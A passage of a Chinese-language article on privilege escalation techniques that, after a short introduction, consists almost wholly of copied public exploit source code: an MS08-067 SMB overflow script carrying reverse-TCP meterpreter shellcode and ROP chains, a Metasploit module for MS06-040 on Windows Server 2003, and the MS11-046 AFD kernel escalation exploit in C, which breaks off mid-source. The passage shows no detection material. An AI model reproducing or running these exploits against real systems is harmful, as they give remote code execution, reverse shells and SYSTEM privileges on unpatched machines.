提权技术与提权检测技术研究
1. 提权安全问题的本质
笔者在这篇文章中,讨论了权限控制策略。
在正常情况下,操作系统和应用软件是有严格的权限控制策略的,基于这个大的假设前提,软件运行与资源访问是出于安全状态的。
但是安全问题很多时候就来自于“基本大前提被打破”的场景,一个典型的情况就是提权。
当白帽子通过非正常方式改变当前账号的属主权限时,就突破了权限控制策略的管控,所谓的安全问题就产生了。
Relevant Link:
https://www.cnblogs.com/LittleHann/p/4581326.html
2. 系统漏洞提权
系统漏洞提权一般就是利用系统自身缺陷,使用shellcode来提升权限。
0x1:Win
1. MS08067【445smb remote overflow shellcode execute】
import struct import time import sys from threading import Thread #Thread is imported incase you would like to modify try: from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit' print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' print '#######################################################################\n' #Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40; #Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included) #EXITFUNC=thread Important! #msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81" shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35" shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae" shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6" shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6" shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91" shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15" shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c" shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c" shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1" shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda" shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba" shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4" shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc" shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b" shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69" shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68" shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc" shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff" shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28" shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf" shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22" shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1" shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0" shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2" shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22" shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4" shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60" shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48" shellcode += "\x08\x9e\xe0" nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10 disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62" ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01"; module_base = 0x6f880000 def generate_rop(rvas): gadget1="\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3="\xcc\x90\xeb\x5a" ret=struct.pack('<L', 0x00018000) ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base) ret+=struct.pack('<L', 0x01040110) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', 0x01010101) ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget1 ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget2[0] ret+=gadget2[1] ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base) ret+=gadget2[2] ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base) ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base) ret+=struct.pack('<L', rvas['jmp eax']+module_base) ret+=gadget3 return ret class SRVSVC_Exploit(Thread): def __init__(self, target, os, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.os = os def __DCEPacket(self): if (self.os=='1'): print 'Windows XP SP0/SP1 Universal\n' ret = "\x61\x13\x00\x01" jumper = nonxjmper % (ret, ret) elif (self.os=='2'): print 'Windows 2000 Universal\n' ret = "\xb0\x1c\x1f\x00" jumper = nonxjmper % (ret, ret) elif (self.os=='3'): print 'Windows 2003 SP0 Universal\n' ret = "\x9e\x12\x00\x01" #0x01 00 12 9e jumper = nonxjmper % (ret, ret) elif (self.os=='4'): print 'Windows 2003 SP1 English\n' ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2) elif (self.os=='5'): print 'Windows XP SP3 French (NX)\n' ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07 disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='6'): print 'Windows XP SP3 English (NX)\n' ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07 disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case. elif (self.os=='7'): print 'Windows XP SP3 English (AlwaysOn NX)\n' rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64} jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case. else: print 'Not supported OS version\n' sys.exit(-1) print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2 server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00" prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00" self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00" return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) time.sleep(5) print 'Exploit finish\n' if __name__ == '__main__': try: target = sys.argv[1] os = sys.argv[2] except IndexError: print '\nUsage: %s <target ip>\n' % sys.argv[0] print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n' print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n' sys.exit(-1) current = SRVSVC_Exploit(target, os) current.start()
常用的shellcode的反弹shell。
Relevant Link:
https://github.com/abatchy17/WindowsExploits/blob/master/MS08-067/40279.py https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-067
2. MS06040【445smb remote overflow shellcode execute】
######################################################################### # netapi_win2003.pm (MS06-040 Exploit for Windows Server 2003 SP0) # # Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com> # # http://sf-freedom.blogspot.com # # For educational purpose only # # Note: This exploit is developed because of my question "Is it exploitable # on Windows Server 2003 platform ?". As I know, Windows XP SP2 and Windows # Server 2003 SP1 is not exploitable because they are compiled with /GS, but # how about Windows Server 2003 SP0 ? In metasploit netapi_ms06_040.pm there # is no Windows Server 2003 sp0 target, this means 2003 SP0 is not # exploitable ? There is Stack Protection Windows Server 2003, is this the # reasons why there is no Windows Server 2003 SP0 exploit for MS06-040 ? # # I start to modify H D Moore's exploit (netapi_ms06_040.pm - credits to him # ^-^) and work on it. The problem is the Stack Protection "security cookie # checking". Because wcscpy() method allow me to write to any memory location # that are marked writable, I decide to write to the location at "security # cookie" is stored and it works !!! I will describe more implementation details # in my blog in few days ^-^ # # This exploit tested on Windows Server 2003 SP0 build 3790 and successful # exploit 2003 machine in my environment - all patch before MS06-040 # (KB921883). It's quite reliable but not 100%. There is the possibility that # the exploit will fail and the target system process crash. Because I have # only one testbase system, I couldn't confirm this exploit will work on # your environment. However feel free to e-mail to me. # # Credits: H D Moore ######################################################################### package Msf::Exploit::netapi_win2003; use base "Msf::Exploit"; use strict; use Pex::DCERPC; use Pex::NDR; my $advanced = { 'FragSize' => [ 256, 'The DCERPC fragment size' ], 'BindEvasion' => [ 0, 'IDS Evasion of the bind request' ], 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], }; my $info = { 'Name' => 'MSO6-040 Windows Server 2003 Target', 'Version' => '', 'Authors' => [ 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', ], 'Arch' => ['x86'], 'OS' => [ 'win32', 'win2003' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [ 1, 'ADDR', 'The target address' ], # SMB connection options 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ], 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], }, 'Payload' => { # Technically we can use more space than this, but by limiting it # to 370 bytes we can use the same request for all Windows SPs. 'Space' => 370, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'Keys' => ['+ws2ord'], # sub esp, 4097 + inc esp makes stack happy 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Description' => Pex::Text::Freeform( qq{ This exploit modified from netapi_ms06_040.pm (Metasploit). While netapi_ms06_040 of metasploit works on Windows 2000 SP0 - SP4 and Windows XP SP0 - SP1, this exploit works on Windows Server 2003 SP0. } ), 'Refs' => [ [ 'BID', '19409' ], [ 'CVE', '2006-3439' ], [ 'MSB', 'MS06-040' ], ], 'DefaultTarget' => 0, 'Targets' => [ [ '(wcscpy) Windows Server 2003 SP0', 612], ], 'Keys' => ['srvsvc'], 'DisclosureDate' => '', }; sub new { my ($class) = @_; my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ ); return ($self); } sub Exploit { my ($self) = @_; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target_name = '*SMBSERVER'; my $FragSize = $self->GetVar('FragSize') || 256; my $target = $self->Targets->[$target_idx]; if (!$self->InitNops(128)) { $self->PrintLine("Could not initialize the nop module"); return; } my ( $res, $rpc ); my $pipe = '\BROWSER'; my $uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188'; my $version = '3.0'; my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); my $dce = Pex::DCERPC->new( 'handle' => $handle, 'username' => $self->GetVar('SMBUSER'), 'password' => $self->GetVar('SMBPASS'), 'domain' => $self->GetVar('SMBDOM'), 'fragsize' => $self->GetVar('FragSize'), 'bindevasion' => $self->GetVar('BindEvasion'), 'directsmb' => $self->GetVar('DirectSMB'), ); if ( !$dce ) { $self->PrintLine("[*] Could not bind to $handle"); return; } my $smb = $dce->{'_handles'}{$handle}{'connection'}; if (! $smb) { $self->PrintLine("[*] Could not establish SMB session"); return; } my $stub; # # Use the wcscpy() method on Windows Server 2003 SP0 # if ($target->[0] =~ /2003/) { my $path = $shellcode. # Padding Pex::Text::AlphaNumText($target->[1] - length($shellcode)). Pex::Text::AlphaNumText(32). substr($shellcode, 0, 4). # cookie Pex::Text::AlphaNumText(4). # return address == address that store security cookie ("\xec\xc1\xc8\x71") . Pex::Text::AlphaNumText(8). ("\xec\xc1\xc8\x71" x 2) . Pex::Text::AlphaNumText(36). # Terminate "\x00\x00"; # Package that into a stub $stub = Pex::NDR::Long(int(rand(0xffffffff))). Pex::NDR::UnicodeConformantVaryingString(''). Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). Pex::NDR::Long(int(rand(250)+1)). Pex::NDR::UnicodeConformantVaryingString(''). Pex::NDR::Long(int(rand(250)+1)). Pex::NDR::Long(0); } else { $self->PrintLine("This target is not currently supported"); return; } $self->PrintLine("[*] Sending request..."); # Function 0x1f is not the only way to exploit this :-) my @response = $dce->request( $handle, 0x1f, $stub ); if ( length($dce->{'response'}->{'StubData'}) > 0) { $self->PrintLine("[*] The server rejected it, trying again..."); @response = $dce->request( $handle, 0x1f, $stub ); } if ( length($dce->{'response'}->{'StubData'}) > 0) { $self->PrintLine("[*] Exploit Failed"); } if (@response) { $self->PrintLine('[*] RPC server responded with:'); foreach my $line (@response) { $self->PrintLine( '[*] ' . $line ); } } return; } 1; # milw0rm.com [2006-09-13]
Relevant Link:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS06-040/2355.pm
3. MS07065【Vulnerability in Message Queuing Could Allow Remote Code Execution】
Relevant Link:
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-065
4. MS11046【Local Right Raising】
/* ################################################################ # Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046) # Date: 2016-10-16 # Exploit Author: Tomislav Paskalev # Vulnerable Software: # Windows XP SP3 x86 # Windows XP Pro SP2 x64 # Windows Server 2003 SP2 x86 # Windows Server 2003 SP2 x64 # Windows Server 2003 SP2 Itanium-based Systems # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Vista SP1 x64 # Windows Vista SP2 x64 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows Server 2008 x64 # Windows Server 2008 SP2 x64 # Windows Server 2008 Itanium-based Systems # Windows Server 2008 SP2 Itanium-based Systems # Windows 7 x86 # Windows 7 SP1 x86 # Windows 7 x64 # Windows 7 SP1 x64 # Windows Server 2008 R2 x64 # Windows Server 2008 R2 SP1 x64 # Windows Server 2008 R2 Itanium-based Systems # Windows Server 2008 R2 SP1 Itanium-based Systems # Supported Vulnerable Software: # Windows XP SP3 x86 # Windows Server 2003 SP2 x86 # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows 7 x86 # Windows 7 SP1 x86 # Tested Software: # Windows XP Pro SP3 x86 EN [5.1.2600] # Windows Server 2003 Ent SP2 EN [5.2.3790] # Windows Vista Ult SP1 x86 EN [6.0.6001] # Windows Vista Ult SP2 x86 EN [6.0.6002] # Windows Server 2008 Dat SP1 x86 EN [6.0.6001] # Windows Server 2008 Ent SP2 x86 EN [6.0.6002] # Windows 7 HB x86 EN [6.1.7600] # Windows 7 Ent SP1 x86 EN [6.1.7601] # CVE ID: 2011-1249 ################################################################ # Vulnerability description: # The Ancillary Function Driver (AFD) supports Windows sockets # applications and is contained in the afd.sys file. The afd.sys # driver runs in kernel mode and manages the Winsock TCP/IP # communications protocol. # An elevation of privilege vulnerability exists where the AFD # improperly validates input passed from user mode to the kernel. # An attacker must have valid logon credentials and be able to # log on locally to exploit the vulnerability. # An attacker who successfully exploited this vulnerability could # run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM # privileges). ################################################################ # Exploit notes: # Privileged shell execution: # - the SYSTEM shell will spawn within the invoking shell/process # Exploit compiling (Kali GNU/Linux Rolling 64-bit): # - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32 # Exploit prerequisites: # - low privilege access to the target OS # - target OS not patched (KB2503665, or any other related # patch, if applicable, not installed - check "Related security # vulnerabilities/patches") # Exploit test notes: # - let the target OS boot properly (if applicable) # - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset ################################################################ # Patches: # Windows XP SP3 x86 # WindowsXP-KB2503665-x86-enu.exe # (not available - EoL) # Windows Server 2003 SP2 x86 # WindowsServer2003-KB2503665-x86-enu.exe # https://www.microsoft.com/en-us/download/details.aspx?id=26483 # Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86 # Windows6.0-KB2503665-x86.msu # https://www.microsoft.com/en-us/download/details.aspx?id=26275 # Windows 7 (SP0), SP1 x86 # Windows6.1-KB2503665-x86.msu # https://www.microsoft.com/en-us/download/details.aspx?id=26311 ################################################################ # Related security vulnerabilities/patches: # MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx # MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx # MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx # MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx # MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # # Table of patch replacements: # | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 | # ------------------------------------------------------------- # | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 | # ----------------------------------------------------------------------------------------- # Windows x86 XP SP3 | Installed | <-Replaces| - | - | - | # Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces| # Windows x86 Vista SP1 | Installed | - | - | - | - | # Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces| # Windows x86 Server 2008 | Installed | - | - | - | - | # Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces| # Windows x86 7 | Installed | - | - | - | - | # Windows x86 7 SP1 | Installed | - | - | - | <-Replaces| ################################################################ # Thanks to: # azy (XP, 2k3 exploit) # Rahul Sasi (PoC) ################################################################ # References: # https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249 # https://technet.microsoft.com/en-us/library/security/ms11-046.aspx # http://web.qhwins.com/Security/2012021712023641874126.html # https://www.exploit-db.com/exploits/18755/ ################################################################ */ #include <winsock2.h> #include <windows.h> #include <stdio.h> #include <ws2tcpip.h> #pragma comment (lib, "ws2_32.lib") //////////////////////////////////////////////////////////////// // DEFINE DATA TYPES //////////////////////////////////////////////////////////////// typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE; typedef DWORD (WINAPI *PNTQUERYINTERVAL) ( KPROFILE_SOURCE ProfileSource, PULONG Interval ); typedef LONG NTSTATUS; typedef NTSTATUS (WINAPI *PNTALLOCATE) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect ); typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); //////////////////////////////////////////////////////////////// // FUNCTIONS //////////////////////////////////////////////////////////////// BOOL IsWow64() { BOOL bIsWow64 = FALSE; LPFN_ISWOW64PROCESS fnIsWow64Process; fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); if(NULL != fnIsWow64Process) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", GetLastError()); return -1; } } return bIsWow64; } //////////////////////////////////////////////////////////////// // MAIN FUNCTION //////////////////////////////////////////////////////////////// int main(void) { printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n"); printf(" [*] by Tomislav Paskalev\n"); //////////////////////////////////////////////////////////////// // IDENTIFY TARGET OS ARCHITECTURE AND VERSION //////////////////////////////////////////////////////////////// printf("[*] Identifying OS\n"); // identify target machine's OS architecture // in case the target machine is running a 64-bit OS if(IsWow64()) { printf(" [-] 64-bit\n"); return -1; } printf(" [+] 32-bit\n"); // identify target machine's OS version // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx OSVERSIONINFOEX osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO) &osvi); // define operating system version specific variables unsigned char shellcode_KPROCESS; unsigned char shellcode_TOKEN; unsigned char shellcode_UPID; unsigned char shellcode_APLINKS; const char **securityPatchesPtr; int securityPatchesCount; int lpInBufferSize; //////////////////////////////////////////////////////////////// /* OS VERSION SPECIFIC OFFSETS references: http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/ - nt!_KTHREAD.ApcState.Process (+0x10) 0x30 (3.51); 0x34 (>3.51 to 5.1); 0x28 (late 5.2); 0x38 (6.0); 0x40 (6.1); 0x70 (6.2 and higher) - nt!_EPROCESS.Token 0x0108 (3.51 to 4.0); 0x012C (5.0); 0xC8 (5.1 to early 5.2); 0xD8 (late 5.2); 0xE0 (6.0); 0xF8 (6.1); 0xEC (6.2 to 6.3); 0xF4 - nt!_EPROCESS.UniqueProcessId 0x94 (3.51 to 4.0); 0x9C (5.0); 0x84 (5.1 to early 5.2); 0x94 (late 5.2); 0x9C (6.0); 0xB4 - nt!_EPROCESS.ActiveProcessLinks.Flink 0x98 (3.51 to 4.0); 0xA0 (5.0); 0x88 (5.1 to early 5.2); 0x98 (late 5.2); 0xA0 (6.0); 0xB8 */ //////////////////////////////////////////////////////////////// // in case the OS version is 5.1, service pack 3 if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3)) { // the target machine's OS is Windows XP SP3 printf(" [+] Windows XP SP3\n"); shellcode_KPROCESS = '\x44'; shellcode_TOKEN = '\xC8'; shellcode_UPID = '\x84'; shellcode_APLINKS = '\x88'; const char *securityPatches[] = {"KB2503665", "KB2592799"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x30; } // in case the OS version is 5.2, service pack 2, not R2 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0)) { // the target machine's OS is Windows Server 2003 SP2 printf(" [+] Windows Server 2003 SP2\n"); shellcode_KPROCESS = '\x38'; shellcode_TOKEN = '\xD8'; shellcode_UPID = '\x94'; shellcode_APLINKS = '\x98'; const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 4; lpInBufferSize = 0x30; } // in case the OS version is 6.0, service pack 1, workstation else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1)) { // the target machine's OS is Windows Vista SP1 printf(" [+] Windows Vista SP1\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x30; } // in case the OS version is 6.0, service pack 2, workstation else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1)) { // the target machine's OS is Windows Vista SP2 printf(" [+] Windows Vista SP2\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x10; } // in case the OS version is 6.0, no service pack*, server // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1; // accordingly, the first service pack is called Service Pack 2. // https://en.wikipedia.org/wiki/Windows_Server_2008 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1)) { // the target machine's OS is Windows Server 2008 printf(" [+] Windows Server 2008\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x10; } // in case the OS version is 6.0, service pack 2, server else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1)) { // the target machine's OS is Windows Server 2008 SP2 printf(" [+] Windows Server 2008 SP2\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; 